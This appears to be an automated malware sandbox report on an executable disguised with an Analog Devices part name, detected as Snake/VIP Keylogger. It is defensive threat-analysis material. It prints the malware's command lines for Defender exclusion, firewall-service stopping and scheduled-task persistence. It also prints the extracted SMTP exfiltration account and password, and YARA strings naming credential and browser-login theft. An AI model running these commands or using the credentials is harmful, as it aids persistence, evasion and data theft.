Edit tour

Windows Analysis Report
ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Overview

General Information

Sample name:	ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
Analysis ID:	1530642
MD5:	5bf012702d620d125fa7adc2bd3a9c75
SHA1:	2c13edf47861d5a003ccd2a640ebb91d42ffb71f
SHA256:	eb825b11d00bc3ec41e7856a59ebe1027e3f9c9128a177e182f688535f22bfb6
Tags:	exeuser-lowmal3
Infos:

Detection

CryptOne, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected CryptOne packer

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Creates an undocumented autostart registry key

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has a writeable .text section

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Interactive AT Job

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspect Svchost Activity

Sigma detected: System File Execution Location Anomaly

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates processes with suspicious names

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Common Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe (PID: 3180 cmdline: "C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe" MD5: 5BF012702D620D125FA7ADC2BD3A9C75)

adsp-21593bbpz10 analog devices, inc. 5000.exe (PID: 2120 cmdline: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " MD5: AFF06135F99901A5925F875B7122ABA9)

powershell.exe (PID: 7756 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

adsp-21593bbpz10 analog devices, inc. 5000.exe (PID: 7796 cmdline: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " MD5: AFF06135F99901A5925F875B7122ABA9)

adsp-21593bbpz10 analog devices, inc. 5000.exe (PID: 7832 cmdline: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " MD5: AFF06135F99901A5925F875B7122ABA9)

adsp-21593bbpz10 analog devices, inc. 5000.exe (PID: 7860 cmdline: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " MD5: AFF06135F99901A5925F875B7122ABA9)

icsys.icn.exe (PID: 6096 cmdline: C:\Users\user\AppData\Local\icsys.icn.exe MD5: 223F49E8FB8A6A73152CCD8371C1402E)

explorer.exe (PID: 6792 cmdline: c:\windows\system\explorer.exe MD5: 5D171E84A564FF02737707557BC94C7D)

spoolsv.exe (PID: 4364 cmdline: c:\windows\system\spoolsv.exe SE MD5: 87F4BB343D88570786E64727D8938AA9)

svchost.exe (PID: 7188 cmdline: c:\windows\system\svchost.exe MD5: 4DD3CF8F373E3C03162E7B8972DA62C1)

spoolsv.exe (PID: 7216 cmdline: c:\windows\system\spoolsv.exe PR MD5: 87F4BB343D88570786E64727D8938AA9)

at.exe (PID: 7304 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7360 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7396 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7440 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7500 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7564 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7600 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7656 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7700 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7772 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7868 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8048 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8120 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8152 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 1432 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7372 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7384 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7376 cmdline: sc stop SharedAccess MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7172 cmdline: sc config Schedule start= auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 4416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 928 cmdline: sc start Schedule MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8184 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7380 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7184 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7576 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 3844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7548 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7224 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 1196 cmdline: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 2656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3756 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

explorer.exe (PID: 7704 cmdline: "C:\windows\system\explorer.exe" RO MD5: 5D171E84A564FF02737707557BC94C7D)

cleanup

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "bagslog@cybertechllc.top", "Password": "7213575aceACE@@ ", "Host": "mail.cybertechllc.top", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "bagslog@cybertechllc.top", "Password": "7213575aceACE@@ ", "Host": "mail.cybertechllc.top", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2daa0:$a1: get_encryptedPassword 0x2e028:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x2d82a:$a4: get_passwordField 0x2dab6:$a5: set_encryptedPassword 0x307d2:$a6: get_passwords 0x30b66:$a7: get_logins 0x307be:$a8: GetOutlookPasswords 0x30177:$a9: StartKeylogger 0x30abf:$a10: KeyLoggerEventArgs 0x30217:$a11: KeyLoggerEventArgsEventHandler
00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e298:$a1: get_encryptedPassword 0x712b8:$a1: get_encryptedPassword 0xb40d8:$a1: get_encryptedPassword 0x2e820:$a2: get_encryptedUsername 0x71840:$a2: get_encryptedUsername 0xb4660:$a2: get_encryptedUsername 0x2df0b:$a3: get_timePasswordChanged 0x70f2b:$a3: get_timePasswordChanged 0xb3d4b:$a3: get_timePasswordChanged 0x2e022:$a4: get_passwordField 0x71042:$a4: get_passwordField 0xb3e62:$a4: get_passwordField 0x2e2ae:$a5: set_encryptedPassword 0x712ce:$a5: set_encryptedPassword 0xb40ee:$a5: set_encryptedPassword 0x30fca:$a6: get_passwords 0x73fea:$a6: get_passwords 0xb6e0a:$a6: get_passwords 0x3135e:$a7: get_logins 0x7437e:$a7: get_logins 0xb719e:$a7: get_logins
00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x81ad2:$a1: get_encryptedPassword 0x82050:$a2: get_encryptedUsername 0x81754:$a3: get_timePasswordChanged 0x8186b:$a4: get_passwordField 0x81ae8:$a5: set_encryptedPassword 0x847ac:$a6: get_passwords 0x84b3c:$a7: get_logins 0x84798:$a8: GetOutlookPasswords 0x84151:$a9: StartKeylogger 0x84a95:$a10: KeyLoggerEventArgs 0x841f1:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1da2:$a1: get_encryptedPassword 0x2320:$a2: get_encryptedUsername 0x1a24:$a3: get_timePasswordChanged 0x1b3b:$a4: get_passwordField 0x1db8:$a5: set_encryptedPassword 0x4a7c:$a6: get_passwords 0x4e0c:$a7: get_logins 0x4a68:$a8: GetOutlookPasswords 0x4421:$a9: StartKeylogger 0x4d65:$a10: KeyLoggerEventArgs 0x44c1:$a11: KeyLoggerEventArgsEventHandler
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394c6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b69:$a3: \Google\Chrome\User Data\Default\Login Data 0x38dc6:$a4: \Orbitum\User Data\Default\Login Data 0x397a5:$a5: \Kometa\User Data\Default\Login Data
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394c6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b69:$a3: \Google\Chrome\User Data\Default\Login Data 0x38dc6:$a4: \Orbitum\User Data\Default\Login Data 0x397a5:$a5: \Kometa\User Data\Default\Login Data
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b2c6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a969:$a3: \Google\Chrome\User Data\Default\Login Data 0x3abc6:$a4: \Orbitum\User Data\Default\Login Data 0x3b5a5:$a5: \Kometa\User Data\Default\Login Data
32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70cc0:$a1: get_encryptedPassword 0xb3ae0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71248:$a2: get_encryptedUsername 0xb4068:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70933:$a3: get_timePasswordChanged 0xb3753:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x70a4a:$a4: get_passwordField 0xb386a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70cd6:$a5: set_encryptedPassword 0xb3af6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x739f2:$a6: get_passwords 0xb6812:$a6: get_passwords 0x30d66:$a7: get_logins 0x73d86:$a7: get_logins 0xb6ba6:$a7: get_logins
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x72084:$s1: UnHook 0xb4ea4:$s1: UnHook 0x2f06b:$s2: SetHook 0x7208b:$s2: SetHook 0xb4eab:$s2: SetHook 0x2f073:$s3: CallNextHook 0x72093:$s3: CallNextHook 0xb4eb3:$s3: CallNextHook 0x2f080:$s4: _hook 0x720a0:$s4: _hook 0xb4ec0:$s4: _hook
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70ac0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71048:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70733:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x7084a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70ad6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x737f2:$a6: get_passwords 0x30d66:$a7: get_logins 0x73b86:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x737de:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x73197:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x73adf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x71e84:$s1: UnHook 0x2f06b:$s2: SetHook 0x71e8b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x71e93:$s3: CallNextHook 0x2f080:$s4: _hook 0x71ea0:$s4: _hook
Click to see the 26 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

